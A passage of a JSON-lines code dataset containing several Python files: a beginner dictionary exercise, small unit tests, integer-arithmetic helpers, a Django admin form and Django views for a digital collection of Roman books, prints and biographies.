and sour'\nprint(dict)\n\n# Check how long\n# your dictionary is\nprint(len(dict))\nprint(\"---\")\n\n\nmy_string = 'prickly'\nprint(my_string[0] == 'p')\n\n# note on fancy string - \n# allows us to compute python in a string\nfor key in dict:\n value = dict[key]\n if value[0] == 'p':\n # if len(key) >= 4:\n print(f\"{key}: {dict[key]}\")\n\n\n# \nname = 'diane'\nletters_ct = {}\n# ct = 0\n# collected = []\n\nfor letter in name:\n # letters_ct['d'] = 1\n if letter in letters_ct:\n letters_ct[letter] += 1 # iterate \n else:\n # add entry after seeing the letter\n # for the first time\n letters_ct[letter] = 1\n\nprint(letters_ct)\n\nfor letter in letters_ct:\n ct = letters_ct[letter] # value\n statement = f\"My name has {ct} {letter}\"\n if ct > 1:\n statement += \"s\"\nprint(statement)\n\n","sub_path":"wk4/dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"434798757","text":"import os\nimport cv2\nimport numpy\nfrom random import shuffle\n\nfrom CONSTANTS import IMG_LENGTH, IMG_WIDTH, IMG_CHANNEL\n\nnumpy.set_printoptions(threshold=numpy.nan)\n\ndef test_validation(model):\n current_directory = os.path.dirname(os.path.abspath(__file__))\n validation_directory = current_directory + '/data/validate/'\n shuffled_validation_file_list = os.listdir(validation_directory)\n shuffle(shuffled_validation_file_list)\n\n for image_name in shuffled_validation_file_list:\n if (image_name.endswith(\".jpg\") or image_name.endswith(\".JPG\")):\n image = cv2.imread(validation_directory + image_name)\n resized_img = cv2.resize(image, (IMG_LENGTH, IMG_WIDTH))\n resized_img = resized_img.reshape(1, IMG_LENGTH, IMG_WIDTH, IMG_CHANNEL)\n print(\"\\nPredicting \", image_name)\n print(resized_img)\n model.predict(resized_img)","sub_path":"test_against_validation_linux.py","file_name":"test_against_validation_linux.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"635715310","text":"# Import python libs\nimport os\nimport tempfile\nimport shutil\n\n# Import rosso libs\nimport pop.hub\nimport idem.conf\n\n\ndef run_sls(sls, runtime='parallel'):\n '''\n Pass in an sls list and run it!\n '''\n name = 'test'\n hub = pop.hub.Hub()\n hub.pop.sub.add('idem.idem', init=True)\n hub.pop.sub.add('nest')\n hub.pop.sub.add(dyne_name='takara')\n hub.pop.sub.load_subdirs(hub.nest)\n hub.pop.sub.load_subdirs(hub.nest.nest)\n hub.pop.sub.load_subdirs(hub.nest.nest.again)\n render = 'jinja|yaml'\n cache_dir = tempfile.mkdtemp()\n sls_dir = os.path.join(os.path.dirname(os.path.dirname(__file__)), 'sls')\n sls_sources = [f'file://{sls_dir}']\n hub.pop.loop.start(takara_sls(hub, name, sls_sources, render, runtime, ['states', 'nest'], cache_dir, sls))\n errors = hub.idem.RUNS[name]['errors']\n if errors:\n return errors\n ret = hub.idem.RUNS[name]['running']\n return ret\n\nasync def takara_sls(hub, name, sls_sources, render, runtime, subs, cache_dir, sls):\n unit_dir = tempfile.mkdtemp()\n data_dir = tempfile.mkdtemp()\n kw = {\n 'unit': 'main',\n 'seal_raw': 'foobar',\n 'unit_dir': unit_dir,\n 'data_dir': data_dir,\n 'store': 'file',\n 'cipher': 'fernet',\n 'seal': 'passwd',\n 'path': 'foo/bar/baz',\n 'string': 'cheese',\n }\n await hub.takara.init.create(**kw)\n await hub.takara.init.set(**kw)\n await hub.idem.init.apply(name, sls_sources, render, runtime, subs, cache_dir, sls)\n shutil.rmtree(unit_dir)\n shutil.rmtree(data_dir)\n\n\ndef test_takara():\n ret = run_sls(['takara1'])\n assert ret['test_|-foo_|-foo_|-succeed_with_comment']['comment'] == 'cheese'\n","sub_path":"tests/unit/test_takara.py","file_name":"test_takara.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"583140108","text":"\"\"\"\nhelper functions for integer arithmetic.\n\"\"\"\nfrom collections import defaultdict\n\n\ndef gcd(m, n):\n \"\"\"greatest commond divisor.\"\"\"\n while n:\n m, n = n, m % n\n return abs(m)\n\n\ndef lcm(m, n):\n \"\"\"least common multiple.\"\"\"\n d = gcd(m, n)\n return abs(m * n) // d\n\n\ndef prime_factors(n):\n \"\"\"\n return the prime factors of an integer stored in a dict {prime: exponent}.\n \"\"\"\n n = abs(n)\n primes = defaultdict(int)\n # prime factor 2\n while n % 2 == 0:\n primes[2] += 1\n n = n // 2\n # odd prime factors\n for i in range(3, int(n**0.5) + 1, 2):\n while n % i == 0:\n primes[i] += 1\n n = n // i\n # if n is prime\n if n > 2:\n primes[n] += 1\n\n return primes\n","sub_path":"src/hyperbolic-honeycombs/coxeter/integers.py","file_name":"integers.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"125375566","text":"from django.contrib import admin\nfrom django.utils.translation import ugettext as _\n\nfrom ..forms import StigmaForm\nfrom ..models import Stigma\n\nfrom .subject_visit_model_admin import SubjectVisitModelAdmin\n\n\nclass StigmaAdmin(SubjectVisitModelAdmin):\n\n form = StigmaForm\n fields = (\n \"subject_visit\",\n 'anticipate_stigma',\n 'enacted_shame_stigma',\n 'saliva_stigma',\n 'teacher_stigma',\n 'children_stigma',)\n radio_fields = {\n \"anticipate_stigma\": admin.VERTICAL,\n \"enacted_shame_stigma\": admin.VERTICAL,\n \"saliva_stigma\": admin.VERTICAL,\n \"teacher_stigma\": admin.VERTICAL,\n \"children_stigma\": admin.VERTICAL, }\n instructions = [(\n \"
    Interviewer Note
    The following supplemental \"\n \"questions are only asked for respondents NOT known\"\n \" to have HIV. SKIP for respondents with known HIV infection.\"\n ),\n _(\" Read to Participant: Different people feel differently about\"\n \" people living with HIV. I am going to ask you about issues\"\n \" relevant to HIV and AIDS and also people living with HIV.\"\n \" Some of the questions during the interview will ask for your\"\n \" opinion on how you think people living with HIV are treated.\"\n \" To start, when thinking about yourself, please tell me how \"\n \" strongly you agree or disagree with the following statements.\")]\nadmin.site.register(Stigma, StigmaAdmin)\n","sub_path":"bhp066/apps/bcpp_subject/admin/stigma_admin.py","file_name":"stigma_admin.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"85667195","text":"# -*- coding: utf-8 -*-\n\nfrom django.http import HttpResponse, HttpResponseNotFound, HttpResponseServerError, HttpResponseRedirect\nfrom django.forms.formsets import formset_factory\nfrom django.template import Context, loader, RequestContext\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.paginator import Paginator\nfrom django.core.urlresolvers import reverse, reverse_lazy\nfrom django.shortcuts import render\nfrom django.template.response import SimpleTemplateResponse\nfrom django.utils.html import escape, escapejs\nfrom django.contrib.auth.decorators import login_required\n\nimport json\nfrom operator import itemgetter, methodcaller\nimport xml.etree.ElementTree as ET\nimport re\nimport requests\nfrom .models import Biography, Essay, Book, Annotation, Page\nfrom .app_settings import BDR_SERVER, BOOKS_PER_PAGE, PID_PREFIX, logger\n\ndef annotation_order(s): \n retval = re.sub(\"[^0-9]\", \"\", first_word(s['orig_title']))\n return int(retval) if retval != '' else 0\n \n\ndef first_word(s): return s.split(\" \")[0]\n\ndef std_context(path, style=\"rome/css/content.css\",title=\"The Theater that was Rome\"):\n pathparts = path.split(u'/')\n breadcrumbs = []\n url = \"/\"\n\n for node in pathparts:\n if node:\n url += node + u'/'\n obj = {\"url\": url, \"name\":node.title()}\n if(node == \"rome\"):\n obj['name'] = \"The Theater that was Rome\"\n if(\"rome\" in url):\n breadcrumbs.append(obj)\n\n context={}\n context['common_style']=\"rome/css/common.css\"\n context['usr_style']=style\n context['title']=title\n context['cpydate']=2015\n context['home_image']=\"rome/images/home.gif\"\n context['brown_image']=\"rome/images/brown-logo.gif\"\n context['stg_image']=\"rome/images/stg-logo.gif\"\n context['page_documentation']=\"\"\n context['breadcrumbs']=breadcrumbs\n return context\n\ndef index(request):\n template=loader.get_template('rome_templates/index.html')\n context=std_context(request.path, style=\"rome/css/home.css\")\n c=RequestContext(request,context)\n return HttpResponse(template.render(c)) \n\ndef book_list(request):\n context = std_context(request.path, )\n book_list = Book.search(query=\"genre_aat:books*\")\n\n sort_by = request.GET.get('sort_by', 'title')\n \n sort_by = Book.SORT_OPTIONS.get(sort_by, 'title_sort')\n book_list=sorted(book_list,key=methodcaller('sort_key', sort_by))\n\n page = request.GET.get('page', 1)\n PAGIN=Paginator(book_list, BOOKS_PER_PAGE);\n\n page_list = []\n for i in PAGIN.page_range:\n page_list.append(PAGIN.page(i).object_list)\n\n context['num_pages']=PAGIN.num_pages\n context['page_range']=PAGIN.page_range\n context['PAGIN']=PAGIN\n\n context['sorting'] = sort_by\n context['sort_options'] = Book.SORT_OPTIONS\n context['page_list'] = page_list\n\n context['curr_page'] = page\n context['num_results'] = len(book_list)\n context['results_per_page'] = BOOKS_PER_PAGE\n\n return render(request, 'rome_templates/book_list.html', context)\n\n\ndef book_detail(request, book_id):\n book_list_page = request.GET.get('book_list_page', 1)\n context = std_context(request.path)\n context['back_to_book_href'] = u'%s?page=%s' % (reverse('books'), book_list_page)\n context['book'] = Book.get_or_404(pid=\"%s:%s\" % (PID_PREFIX, book_id))\n\n context['essays'] = context['book'].essays()\n\n context['breadcrumbs'][-1]['name'] = breadcrumb_detail(context)\n grp = 20 # group size for lookups\n pages = context['book'].pages()\n pid_groups = [[\"%s:%s\" % (PID_PREFIX, x.id) for x in pages[i:i+grp]] for i in range(0, len(pages), grp)]\n url = \"https://%s/api/search?q=%s+AND+display:BDR_PUBLIC&fl=rel_is_annotation_of_ssim&rows=6000&callback=mark_annotated\"\n annot_lookups = [url % (BDR_SERVER, \"rel_is_annotation_of_ssim:(\\\"\" + (\"\\\"+OR+\\\"\".join(l)) + \"\\\")\") for l in pid_groups]\n context['annot_lookups'] = annot_lookups\n return render(request, 'rome_templates/book_detail.html', context)\n\n\ndef page_detail(request, page_id, book_id=None):\n page_pid = u'%s:%s' % (PID_PREFIX, page_id)\n this_page = Page.get_or_404(page_pid)\n template=loader.get_template('rome_templates/page_detail.html')\n context=std_context(request.path, )\n if book_id:\n book_pid = '%s:%s' % (PID_PREFIX, book_id)\n else:\n book_pid = _get_book_pid_from_page_pid(u'%s' % page_pid)\n book_id = book_pid.split(':')[-1]\n if not book_id:\n return HttpResponseNotFound('Book for this page not found.')\n\n context['user'] = request.user\n if request.user.is_authenticated():\n context['create_annotation_link'] = reverse('new_annotation', kwargs={'book_id':book_id, 'page_id':page_id})\n\n book_list_page = request.GET.get('book_list_page', None)\n\n context['book_mode']=1\n context['print_mode']=0\n\n if book_list_page:\n context['back_to_book_href'] = u'%s?page=%s' % (reverse('books'), book_list_page)\n context['back_to_thumbnail_href'] = u'%s?book_list_page=%s' % (reverse('thumbnail_viewer', kwargs={'book_id':book_id}), book_list_page)\n else:\n context['back_to_book_href'] = reverse('books')\n context['back_to_thumbnail_href'] = reverse('thumbnail_viewer', kwargs={'book_id':book_id})\n\n context['studio_url'] = 'https://%s/studio/item/%s/' % (BDR_SERVER, page_pid)\n context['book_id'] = book_id\n\n thumbnails=[]\n book_json_uri = u'https://%s/api/items/%s/' % (BDR_SERVER, book_pid)\n r = requests.get(book_json_uri, timeout=60)\n if not r.ok:\n logger.error(u'TTWR - error retrieving url %s' % book_json_uri)\n logger.error(u'TTWR - response: %s - %s' % (r.status_code, r.text))\n return HttpResponseServerError('Error retrieving content.')\n book_json = json.loads(r.text)\n context['short_title']=book_json['brief']['title']\n context['title'] = _get_full_title(book_json)\n try:\n author_list=book_json['contributor_display']\n authors=\"\"\n for i in range(len(author_list)):\n if i==len(author_list)-1:\n authors+=author_list[i]\n else:\n authors+=author_list[i]+\"; \"\n context['authors']=authors\n except:\n context['authors']=\"contributor(s) not available\"\n try:\n context['date']=book_json['dateIssued'][0:4]\n except:\n try:\n context['date']=book_json['dateCreated'][0:4]\n except:\n context['date']=\"n.d.\"\n if 'Buonanno' in book_json['note'][0]:\n context['note'] = \"From the personal collection of Vincent J. Buonanno\"\n else:\n context['note'] = \"no note\"\n context['lowres_url']=\"https://%s/fedora/objects/%s/datastreams/lowres/content\" % (BDR_SERVER, page_pid)\n context['det_img_view_src']=\"https://%s/viewers/image/iip/%s\" % (BDR_SERVER, page_pid)\n\n context['breadcrumbs'][-2]['name'] = breadcrumb_detail(context, view=\"print\")\n\n # annotations/metadata\n page_json_uri = u'https://%s/api/items/%s/' % (BDR_SERVER, page_pid)\n r = requests.get(page_json_uri, timeout=60)\n if not r.ok:\n logger.error(u'TTWR - error retrieving url %s' % page_json_uri)\n logger.error(u'TTWR - response: %s - %s' % (r.status_code, r.text))\n return HttpResponseServerError('Error retrieving content.')\n page_json = json.loads(r.text)\n annotations=page_json['relations']['hasAnnotation']\n context['has_annotations']=len(annotations)\n context['annotation_uris']=[]\n context['annotations']=[]\n for annotation in annotations:\n anno_id = annotation['pid'].split(':')[-1]\n if request.user.is_authenticated():\n link = reverse('edit_annotation', kwargs={'book_id': book_id, 'page_id': page_id, 'anno_id': anno_id})\n annotation['edit_link'] = link\n annot_xml_uri='https://%s/services/getMods/%s/' % (BDR_SERVER, annotation['pid'])\n context['annotation_uris'].append(annot_xml_uri)\n annotation['xml_uri'] = annot_xml_uri\n curr_annot = get_annotation_detail(annotation)\n context['annotations'].append(curr_annot)\n if(context['annotations']):\n context['annotations'] = sorted(context['annotations'], key=lambda annote: annotation_order(annote))\n\n # Previous/next page links\n # First, find the index of the page we're currently loading\n hasPart_index = 0\n for page in book_json['relations']['hasPart']:\n if page['pid'] == page_pid:\n hasPart_index = int(page['order']) - 1\n\n # Initialize both the next page and previous page\n prev_pid = book_json['relations']['hasPart'][hasPart_index - 1]['pid'].split(\":\")[-1]\n next_pid = \"none\"\n try:\n next_pid = book_json['relations']['hasPart'][hasPart_index + 1]['pid'].split(\":\")[-1]\n except (KeyError,IndexError) as e:\n # If it's the last page in the book, there is no next pid\n next_pid = \"none\"\n\n # If it's the first page in the book\n if hasPart_index == 0:\n prev_pid == \"none\"\n\n # assert(prev_pid != next_pid)\n\n context['prev_pid'] = prev_pid\n context['next_pid'] = next_pid\n\n context['essays'] = this_page.essays()\n\n context['breadcrumbs'][-1]['name'] = \"Image \" + page_json['rel_has_pagination_ssim'][0]\n\n c=RequestContext(request,context)\n return HttpResponse(template.render(c))\n\n\ndef get_annotation_detail(annotation):\n curr_annot={}\n curr_annot['xml_uri'] = annotation['xml_uri']\n if 'edit_link' in annotation:\n curr_annot['edit_link'] = annotation['edit_link']\n curr_annot['has_elements'] = {'inscriptions':0, 'annotations':0, 'annotator':0, 'origin':0, 'title':0, 'abstract':0, 'genre':0}\n\n root = ET.fromstring(requests.get(curr_annot['xml_uri']).content)\n for title in root.getiterator('{http://www.loc.gov/mods/v3}titleInfo'):\n try:\n if title.attrib['lang']=='en':\n curr_annot['title']=title[0].text\n else:\n curr_annot['orig_title']=title[0].text\n except KeyError:\n curr_annot['orig_title'] = title[0].text\n curr_annot['has_elements']['title'] += 1\n\n curr_annot['names']=[]\n for name in root.getiterator('{http://www.loc.gov/mods/v3}name'):\n curr_annot['names'].append({\n 'name':name[0].text,\n 'role':name[1][0].text.capitalize() if(name[1][0].text) else \"Contributor\",\n 'trp_id': \"%04d\" % int(name.attrib['{http://www.w3.org/1999/xlink}href']),\n })\n curr_annot['names'] = sorted(curr_annot['names'], key=itemgetter(\"role\", \"name\"))\n for abstract in root.getiterator('{http://www.loc.gov/mods/v3}abstract'):\n curr_annot['abstract']=abstract.text\n curr_annot['has_elements']['abstract']=1\n for genre in root.getiterator('{http://www.loc.gov/mods/v3}genre'):\n curr_annot['genre'] = genre.text\n curr_annot['has_elements']['genre']=1\n for origin in root.getiterator('{http://www.loc.gov/mods/v3}originInfo'):\n try:\n for impression in origin.getiterator(\"{http://www.loc.gov/mods/v3}dateOther\"):\n try:\n curr_annot['impression']=impression.text\n if(impression.text != None):\n curr_annot['has_elements']['impression']=1\n except:\n pass\n\n curr_annot['origin']=origin[0].date\n curr_annot['has_elements']['origin']=1\n\n except:\n pass\n for impression in root.getiterator('{http://www.loc.gov/mods/v3}dateOther'):\n try:\n if impression.attrib['type'] == \"impression\":\n curr_annot['impression']=impression[0].text\n curr_annot['has_elements']['impression']=1\n except:\n pass\n curr_annot['inscriptions'] = []\n curr_annot['annotations'] = []\n curr_annot['annotator'] = \"\"\n for note in root.getiterator('{http://www.loc.gov/mods/v3}note'):\n curr_note={}\n for att in note.attrib:\n curr_note[att]=note.attrib[att]\n if note.text:\n curr_note['text']=note.text\n if curr_note['type'].lower()=='inscription' and note.text:\n curr_annot['inscriptions'].append(curr_note['displayLabel']+\": \"+curr_note['text'])\n curr_annot['has_elements']['inscriptions']=1\n elif curr_note['type'].lower()=='annotation' and note.text:\n curr_annot['annotations'].append(curr_note['displayLabel']+\": \"+curr_note['text'])\n curr_annot['has_elements']['annotations']=1\n elif curr_note['type'].lower()=='resp' and note.text:\n #display for the first annotator; ignore later annotators for now\n if not curr_annot['annotator']:\n curr_annot['annotator'] = note.text\n curr_annot['has_elements']['annotator'] = 1\n return curr_annot\n\n\ndef print_list(request):\n template=loader.get_template('rome_templates/print_list.html')\n page = request.GET.get('page', 1)\n sort_by = request.GET.get('sort_by', 'title')\n collection = request.GET.get('filter', 'both')\n chinea = \"\"\n if(collection == 'chinea'):\n chinea = \"+AND+(primary_title:\\\"Chinea\\\"+OR+subtitle:\\\"Chinea\\\")\"\n elif(collection == 'not'):\n chinea = \"+NOT+primary_title:\\\"Chinea\\\"+NOT+subtitle:\\\"Chinea\\\"\"\n\n context=std_context(request.path, title=\"The Theater that was Rome - Prints\")\n context['page_documentation']='Browse the prints in the Theater that was Rome collection. Click on \"View\" to explore a print further.'\n context['curr_page']=page\n context['sorting']='authors'\n if sort_by!='authors':\n context['sorting']=sort_by\n\n # Use book object for now\n context['sort_options'] = Page.SORT_OPTIONS\n context['filter_options'] = [(\"chinea\", \"chinea\"), (\"Both\", \"both\"), (\"Non-Chinea\", \"not\")]\n\n # load json for all prints in the collection #\n num_prints_estimate = 6000\n\n url1 = 'https://%s/api/search/?q=ir_collection_id:621+AND+(genre_aat:\"etchings (prints)\"+OR+genre_aat:\"engravings (prints)\")%s&rows=%s' % (BDR_SERVER, chinea, num_prints_estimate)\n prints_json = json.loads(requests.get(url1).text)\n num_prints = prints_json['response']['numFound']\n context['num_results'] = num_prints\n prints_set = prints_json['response']['docs']\n\n print_list=[]\n for i in range(len(prints_set)): #create list of prints to load\n current_print={}\n Print=prints_set[i]\n title = _get_full_title(Print)\n current_print['in_chinea']=0\n if collection == \"chinea\":\n current_print['in_chinea']=1\n elif (re.search(r\"chinea\",title,re.IGNORECASE) or (re.search(r\"chinea\",Print[u'subtitle'][0],re.IGNORECASE) if u'subtitle' in Print else False)):\n current_print['in_chinea']=1\n pid=Print['pid']\n current_print['studio_uri']= 'https://%s/studio/item/%s/' % (BDR_SERVER, pid)\n short_title=title\n current_print['title_cut']=0\n current_print['thumbnail_url'] = reverse('specific_print', args=[pid.split(\":\")[1]])\n if len(title)>60:\n short_title=title[0:57]+\"...\"\n current_print['title_cut']=1\n current_print['title']=title\n current_print['short_title']=short_title\n current_print['det_img_viewer']='https://%s/viewers/image/iip/%s' % (BDR_SERVER, pid)\n try:\n current_print['date']=Print['dateCreated'][0:4]\n except:\n try:\n current_print['date']=Print['dateIssued'][0:4]\n except:\n current_print['date']=\"n.d.\"\n try:\n author_list=Print['contributor_display']\n except KeyError:\n try:\n author_list=Print['contributor']\n except:\n author_list=[\"Unknown\"];\n authors=\"\"\n for i in range(len(author_list)):\n if i==len(author_list)-1:\n authors+=author_list[i]\n else:\n authors+=author_list[i]+\"; \"\n current_print['authors']=authors\n current_print['id']=pid.split(\":\")[1]\n print_list.append(current_print)\n\n\n print_list=sorted(print_list,key=itemgetter(sort_by,'authors','title','date'))\n for i, Print in enumerate(print_list):\n Print['number_in_list']=i+1\n context['print_list']=print_list\n\n prints_per_page=20\n context['results_per_page']=prints_per_page\n PAGIN=Paginator(print_list,prints_per_page) #20 prints per page\n context['num_pages']=PAGIN.num_pages\n context['page_range']=PAGIN.page_range\n context['PAGIN']=PAGIN\n page_list=[]\n for i in PAGIN.page_range:\n page_list.append(PAGIN.page(i).object_list)\n context['page_list']=page_list\n context['filter']=collection\n\n c=RequestContext(request,context)\n return HttpResponse(template.render(c))\n\n\ndef print_detail(request, print_id):\n print_pid = '%s:%s' % (PID_PREFIX, print_id)\n template = loader.get_template('rome_templates/page_detail.html')\n context = std_context(request.path, )\n\n if request.user.is_authenticated():\n context['create_annotation_link'] = reverse('new_print_annotation', kwargs={'print_id':print_id})\n\n prints_list_page = request.GET.get('prints_list_page', None)\n collection = request.GET.get('collection', None)\n\n context['book_mode'] = 0\n context['print_mode'] = 1\n context['det_img_view_src'] = 'https://%s/viewers/image/iip/%s/' % (BDR_SERVER, print_pid)\n if prints_list_page:\n context['back_to_print_href'] = u'%s?page=%s&collection=%s' % (reverse('prints'), prints_list_page, collection)\n else:\n context['back_to_print_href'] = reverse('prints')\n\n context['print_id'] = print_id\n context['studio_url'] = 'https://%s/studio/item/%s/' % (BDR_SERVER, print_pid)\n\n json_uri = 'https://%s/api/items/%s/' % (BDR_SERVER, print_pid)\n print_json = json.loads(requests.get(json_uri).text)\n context['short_title'] = print_json['brief']['title']\n context['title'] = _get_full_title(print_json)\n try:\n author_list=print_json['contributor_display']\n authors=\"\"\n for i in range(len(author_list)):\n if i==len(author_list)-1:\n authors+=author_list[i]\n else:\n authors+=author_list[i]+\"; \"\n context['authors']=authors\n except:\n context['authors']=\"contributor(s) not available\"\n try:\n context['date']=print_json['dateIssued'][0:4]\n except:\n try:\n context['date']=print_json['dateCreated'][0:4]\n except:\n context['date']=\"n.d.\"\n\n # annotations/metadata\n annotations=print_json['relations']['hasAnnotation']\n context['has_annotations']=len(annotations)\n context['annotation_uris']=[]\n context['annotations']=[]\n for annotation in annotations:\n annot_xml_uri='https://%s/services/getMods/%s/' % (BDR_SERVER, annotation['pid'])\n context['annotation_uris'].append(annot_xml_uri)\n annotation['xml_uri'] = annot_xml_uri\n anno_id = annotation['pid'].split(':')[-1]\n if request.user.is_authenticated():\n link = reverse('edit_print_annotation', kwargs={'print_id': print_id, 'anno_id': anno_id})\n annotation['edit_link'] = link\n curr_annot = get_annotation_detail(annotation)\n context['annotations'].append(curr_annot)\n\n\n context['breadcrumbs'][-1]['name'] = breadcrumb_detail(context, view=\"print\")\n\n c=RequestContext(request,context)\n #raise 404 if a certain print does not exist\n return HttpResponse(template.render(c))\n\ndef biography_detail(request, trp_id):\n #view that pull bio information from the db, instead of the BDR\n trp_id = \"%04d\" % int(trp_id)\n try:\n bio = Biography.objects.get(trp_id=trp_id)\n except ObjectDoesNotExist:\n return HttpResponseNotFound('Person %s Not Found' % trp_id)\n context = std_context(request.path, title=\"The Theater that was Rome - Biography\")\n context = RequestContext(request, context)\n template = loader.get_template('rome_templates/biography_detail.html')\n context['bio'] = bio\n context['trp_id'] = trp_id\n context['books'] = bio.books()\n prints_search = bio.prints()\n\n # Pages related to the person by annotation\n (pages_books, prints_mentioned) = bio.annotations_by_books_and_prints()\n context['pages_books'] = pages_books\n # merge the two lists of prints\n prints_merged = [x for x in prints_mentioned if x not in prints_search]\n prints_merged[len(prints_merged):] = prints_search\n\n context['prints'] = prints_merged\n\n context['breadcrumbs'][-1]['name'] = breadcrumb_detail(context, view=\"bio\")\n return HttpResponse(template.render(context))\n\ndef person_detail_tei(request, trp_id):\n pid, name = _get_info_from_trp_id(trp_id)\n if not pid:\n return HttpResponseNotFound('Not Found')\n r = requests.get(u'https://%s/fedora/objects/%s/datastreams/TEI/content' % (BDR_SERVER, pid))\n if r.ok:\n return HttpResponse(r.text)\n else:\n return HttpResponseServerError('Internal Server error')\n\n\ndef _get_info_from_trp_id(trp_id):\n trp_id = u'trp-%04d' % int(trp_id)\n r = requests.get(u'http://%s/api/search?q=mods_id_trp_ssim:%s+AND+display:BDR_PUBLIC&fl=pid,name' % (BDR_SERVER, trp_id))\n if r.ok:\n data = json.loads(r.text)\n if data['response']['numFound'] > 0:\n return (data['response']['docs'][0]['pid'], data['response']['docs'][0]['name'])\n return None, None\n\ndef _get_full_title(data):\n if 'primary_title' not in data:\n return 'No Title'\n if 'nonsort' in data:\n if data['nonsort'].endswith(u\"'\"):\n return u'%s%s' % (data['nonsort'], data['primary_title'])\n else:\n return u'%s %s' % (data['nonsort'], data['primary_title'])\n else:\n return u'%s' % data['primary_title']\n\n\ndef _get_book_pid_from_page_pid(page_pid):\n query = u'https://%s/api/items/%s/' % (BDR_SERVER, page_pid)\n r = requests.get(query)\n if r.ok:\n data = json.loads(r.text)\n if data['relations']['isPartOf']:\n return data['relations']['isPartOf'][0]['pid']\n elif data['relations']['isMemberOf']:\n return data['relations']['isMemberOf'][0]['pid']\n else:\n return None\n\ndef filter_bios(fq, bio_list):\n return [b for b in bio_list if (b.roles and fq in b.roles)]\n\ndef biography_list(request):\n template = loader.get_template('rome_templates/biography_list.html')\n fq = request.GET.get('filter', 'all')\n\n bio_list = Biography.objects.all()\n role_set = set()\n\n for bio in bio_list:\n if bio.roles:\n bio.roles = [role.strip(\" \") for role in bio.roles.split(';') if role.strip(\" \") != '']\n role_set |= set(bio.roles)\n\n if fq != 'all':\n bio_list = filter_bios(fq, bio_list)\n\n bios_per_page=30\n PAGIN=Paginator(bio_list,bios_per_page)\n page_list=[]\n\n for i in PAGIN.page_range:\n page_list.append(PAGIN.page(i).object_list)\n\n context=std_context(request.path, title=\"The Theater that was Rome - Biographies\")\n context['page_documentation']='Browse the biographies of artists related to the Theater that was Rome collection.'\n context['num_results']=len(bio_list)\n context['bio_list']=bio_list\n context['results_per_page']=bios_per_page\n context['num_pages']=PAGIN.num_pages\n context['page_range']=PAGIN.page_range\n context['curr_page']=1\n context['PAGIN']=PAGIN\n context['page_list']=page_list\n context['filter_options'] = [(\"all\",\"all\")]\n context['filter_options'].extend([(x, x) for x in sorted(role_set)])\n context['filter'] = fq\n\n c=RequestContext(request, context)\n return HttpResponse(template.render(c))\n\n\ndef about(request):\n template=loader.get_template('rome_templates/about.html')\n context=std_context(request.path, style=\"rome/css/links.css\")\n c=RequestContext(request,context)\n return HttpResponse(template.render(c))\n\ndef links(request):\n template=loader.get_template('rome_templates/links.html')\n context=std_context(request.path, style=\"rome/css/links.css\")\n\n c=RequestContext(request,context)\n return HttpResponse(template.render(c))\n\ndef essay_list(request):\n template=loader.get_template('rome_templates/essay_list.html')\n context=std_context(request.path, style=\"rome/css/links.css\")\n context['page_documentation']='Listed below are essays on topics that relate to the Theater that was Rome collection of books and engravings. The majority of the essays were written by students in Brown University classes that used this material, and edited by Prof. Evelyn Lincoln.'\n c=RequestContext(request,context)\n essay_objs = Essay.objects.all()\n c['essay_objs'] = essay_objs\n return HttpResponse(template.render(c))\n\n\ndef essay_detail(request, essay_slug):\n try:\n essay = Essay.objects.get(slug=essay_slug)\n except ObjectDoesNotExist:\n return HttpResponseNotFound('Essay %s Not Found' % essay_slug)\n template=loader.get_template('rome_templates/essay_detail.html')\n context=std_context(request.path, style=\"rome/css/essays.css\")\n context['essay_text'] = essay.text\n c=RequestContext(request,context)\n return HttpResponse(template.render(c))\n\ndef breadcrumb_detail(context, view=\"book\", title_words=4):\n if(view == \"book\"):\n return \" \".join(context['book'].title().split(\" \")[0:title_words]) + \" . . .\"\n\n if(view == \"print\"):\n return \" \".join(context['title'].split(\" \")[0:title_words]) + \" . . .\"\n\n if(view == \"bio\"):\n return context['bio'].name\n\ndef search_page(request):\n template = loader.get_template('rome_templates/search_page.html')\n context = std_context(request.path, style= \"rome/css/links.css\")\n searchquery = \"https://%s/api/search/?q=ir_collection_id:621+object_type:annotation+display:BDR_PUBLIC\" % (BDR_SERVER)\n thumbnailquery = \"https://%s/viewers/image/thumbnail/\" % (BDR_SERVER)\n pagequery = \"https://%s/api/items/\" % (BDR_SERVER)\n context[\"searchquery\"] = searchquery\n context[\"thumbnailquery\"] = thumbnailquery\n context[\"pagequery\"] = pagequery\n c=RequestContext(request,context)\n return HttpResponse(template.render(c))\n\n@login_required(login_url=reverse_lazy('rome_login'))\ndef new_annotation(request, book_id, page_id):\n page_pid = '%s:%s' % (PID_PREFIX, page_id)\n from .forms import AnnotationForm, PersonForm, InscriptionForm\n PersonFormSet = formset_factory(PersonForm)\n InscriptionFormSet = formset_factory(InscriptionForm)\n if request.method == 'POST':\n form = AnnotationForm(request.POST)\n person_formset = PersonFormSet(request.POST, prefix='people')\n inscription_formset = InscriptionFormSet(request.POST, prefix='inscriptions')\n if form.is_valid() and person_formset.is_valid() and inscription_formset.is_valid():\n if request.user.first_name:\n annotator = u'%s %s' % (request.user.first_name, request.user.last_name)\n else:\n annotator = u'%s' % request.user.username\n annotation = Annotation.from_form_data(page_pid, annotator, form.cleaned_data, person_formset.cleaned_data, inscription_formset.cleaned_data)\n try:\n response = annotation.save_to_bdr()\n logger.info('%s added annotation %s for %s' % (request.user.username, response['pid'], page_id))\n return HttpResponseRedirect(reverse('book_page_viewer', kwargs={'book_id': book_id, 'page_id': page_id}))\n except Exception as e:\n logger.error('%s' % e)\n return HttpResponseServerError('Internal server error. Check log.')\n else:\n inscription_formset = InscriptionFormSet(prefix='inscriptions')\n person_formset = PersonFormSet(prefix='people')\n form = AnnotationForm()\n\n image_link = 'https://%s/viewers/image/iip/%s' % (BDR_SERVER, page_pid)\n return render(request, 'rome_templates/new_annotation.html',\n 